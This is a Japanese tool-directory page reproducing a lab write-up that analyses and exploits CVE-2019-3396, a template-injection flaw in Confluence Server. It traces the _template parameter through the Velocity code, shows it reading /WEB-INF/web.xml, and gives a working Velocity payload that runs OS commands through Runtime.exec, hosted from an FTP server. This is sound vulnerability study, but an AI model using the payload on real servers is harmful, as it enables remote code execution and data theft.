Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-3396 — CVE-2019-3396のステップバイステップの分析と悪用ガイド。Confluence Server & Data Centerの重大なSSTI脆弱性で、デバッグとRCEペイロード実行を含みます。 | Kitploit
ツール/GitHubGitHub/tranphuc2005/cve-2019-3396
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubtranphuc2005/cve-2019-3396

CVE-2019-3396

CVE-2019-3396のステップバイステップの分析と悪用ガイド。Confluence Server & Data Centerの重大なSSTI脆弱性で、デバッグとRCEペイロード実行を含みます。

リポジトリを見る
341年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-3396

🔎 主な情報:

  • 影響を受ける製品: Confluence Server & Data Center

  • 影響を受けるバージョン: 6.0.0 から 6.15.4

  • 深刻度: Critical (CVSS ~9.8)

  • 原因:

    • Confluence には Widget Connector プラグイン(YouTube、Vimeo などの外部コンテンツやビデオを埋め込むために使用)があります。

    • この機能はユーザー入力を適切に検証しないため、Server-Side Template Injection (SSTI) が発生します。

    • 攻撃者は悪意のあるペイロードを送信でき、Confluence が Velocity テンプレートエンジンでレンダリングし、サーバー上でコードを実行します。

1. ウェブサイトのインストールと起動

  • 脆弱なバージョン(例: 6.9.0)をインストールします:
root@kitploit:~
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
  • ガイドに従ってセットアップ手順を実行します
root@kitploit:~
https://nguyendt.hashnode.dev/confluence-cve-2019-3396
  • インストールが成功すると、インターフェースが表示されます

1

2. 脆弱性箇所の特定とデバッグ

2.1 脆弱性箇所の特定

  • POC によると、脆弱な機能は Widget Connector(YouTube、Vimeo などの外部コンテンツやビデオを埋め込むために使用)にあります。
  • その機能を探します:
  1. Other macros セクションを選択します

1

  1. レンダリングツールとして Widget Connector を検索します

1

  1. リンクを入力し、必要な情報を記入してから Preview を選択します

1

2.2 デバッグのセットアップ

  • 説明に Widget Connector が言及されているため、Confluence のソースフォルダ内を検索してみます

1

  • Intellij IDEA で .jar ファイルを読み取ります
  • リンク解決を処理する場所に ブレークポイント を設定し、デバッグプロセスを実行します

デバッグの実行

  • デバッグを実行し、com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class に ブレークポイント を設定します
  • ここで各種パラメータを確認できます
  • DefaultRenderManager.class クラスを呼び出します

1

  • ここで getEmbeddedHtml() 関数を使用します
  • ユーザーが Confluence ページに挿入した URL に基づいて、外部コンテンツ(ビデオ、ウィジェット、ドキュメントなど)を埋め込むための HTML コードを返します
  • そこから YoutubeRenderer 関数を呼び出します

1

  • YoutubeRenderer クラスに入ります
  • この関数 getEmbeddedHtml(String url, Map<String, String> params) では
  • url → ユーザーが入力した元の YouTube リンク
  • params → レンダリング設定パラメータ(例: 幅、高さ、レンダリングに使用するテンプレートなど)を含むマップ。

1

  • 続けて getEmbedUrl()、setDefaultParam()、DefaultVelocityRenderService.render() を呼び出します
  • setDefaultParam() に注目します

1

  • _template がない場合は → デフォルトテンプレート youtube.vm を割り当てます。 => プログラムに _template を自分で追加できます。

  • 次に DefaultVelocityRenderService.render() に入ります

  1. 関数の目的

    • url + 各パラメータ params を受け取ります。

    • Velocity テンプレート (.vm) を使用して埋め込み HTML(iframe、embed など)にレンダリングします。

  2. テンプレートの決定

    • params に _template がある場合 → そのテンプレートを使用します。

    • ない場合 → デフォルトの embed.vm を使用します。

  3. MacroUtils.defaultVelocityContext() でデフォルトコンテキストを作成します。

  • params のすべてのパラメータをコンテキストに入れます:

    • key が tweetHtml の場合 → HTML をそのまま保持します。

    • それ以外の場合 → GeneralUtil.htmlEncode() で安全にエンコードします。

  • urlHtml、width、height をコンテキストに追加します(空の場合はデフォルトで 400 × 300 を割り当てます)。

1

  • VelocityUtils.getRenderedTemplate() を呼び出します

1

  • 次に VelocityUtils クラスに移ります
  • 上記の部分では getRenderedTemplate と getRenderedTemplateWithoutSwallowingErrors() を呼び出します

1

  • その後、続けて getTemplate() を呼び出します

1

  • ここで templateName が上記の _template です。

  • その後、続けて VelocityEngine.Template() を呼び出します

1

  • VelocityEngine クラス内で、さらに RunimeInstance.getTemplate() を呼び出します

1

RuntimeInstance (Velocity core)
これは Velocity Engine の「心臓部」です。以下の役割を担います:

  • エンジンの初期化 (init)

  • 設定、マクロ、パーサー、ディレクティブ、イベントハンドラーの管理…

  • そして特に: ResourceManager を介したリソース管理

→ つまり RuntimeInstance はリソースを直接ロードせず、resourceManager に委任します。

  • その後、CompatibleVelocityResourceManager.getResource() を呼び出します

1

ConfigurableResourceManager (Confluence custom)
これは ResourceManager インターフェースの実装です。
以下の役割を担います:

  • リソースローダー(file loader、classpath loader、URL loader など)の管理。

  • globalCache の管理(resourceKey に基づくテンプレートのキャッシュ)。

  • RuntimeInstance から要求されたときにテンプレート(.vm ファイル)のロード/リフレッシュを実行します。

1

root@kitploit:~
try {
    this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
    this.globalCache.remove(resourceKey);
    return this.getResource(resourceName, resourceType, encoding);
}
  • リソースがキャッシュにある場合、すぐには返さず、refreshResource(...) を呼び出します。

  • refreshResource はディスク上の lastModified 時刻 とキャッシュ内のものを比較します。

  • ファイルが変更された場合 → キャッシュ内のリソースが無効化され → ディスクから再ロード → キャッシュが更新されます。

👉 したがって、resourceKey を手動で変更する必要はありません。リフレッシュ機構により、テンプレートが変更されるとキャッシュも確実に更新されます。

_template を追加してリクエストを再送信します

1

  • Velocity 内の**ResourceLoader インスタンス**(初期化済みオブジェクト)のリストを確認できます

1

1

  • ここでは FileResourceLoader と ClasspathResourceLoader のみに注目します

1. FileResourceLoader の場合

パストラバーサルを防ぐために StringUtils.normalizePath() を呼び出します

1

  • normalizePath の内容は画像のとおりです

1

  • /WEB-INF/web.xml ファイルの読み取りを試みると、ファイルが正常にロードされたことがわかります。

1

  • ただし、/../ がブロックされているため、Confluence ディレクトリの外には出られません。
  • 引き続き ClasspathResourceLoader を確認します

2. ClasspathResourceLoader

1

  • ClassUtils.getResourceAsStream まで追跡します

1

  • /org/apache/catalina/loader/WebappClassLoaderBase.class の findResource() を呼び出します

1

  • 続けて super.findResource() を呼び出すと URL が返され、つまりオブジェクトを取得できます。

1

1

  • データを取得するために url.openStream() を呼び出します

1

  • 最後にデータを Velocity のレンダリングに渡します。

1

  • 実際のケースで具体的なパスが不明な場合は、Java の file scheme を利用してディレクトリのリストを取得できます。

1

アウトバウンドあり

実行するペイロード

root@kitploit:~
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
  $scan.next()
#end
  • $runtime.exec("id") を呼び出して、Ubuntu 上で OS コマンド "id" を実行します。
  • 以下のコマンドで FTP サービスを起動します:
root@kitploit:~
python3 -m pyftpdlib -p 2005

1

実行:

1

ツールをダウンロード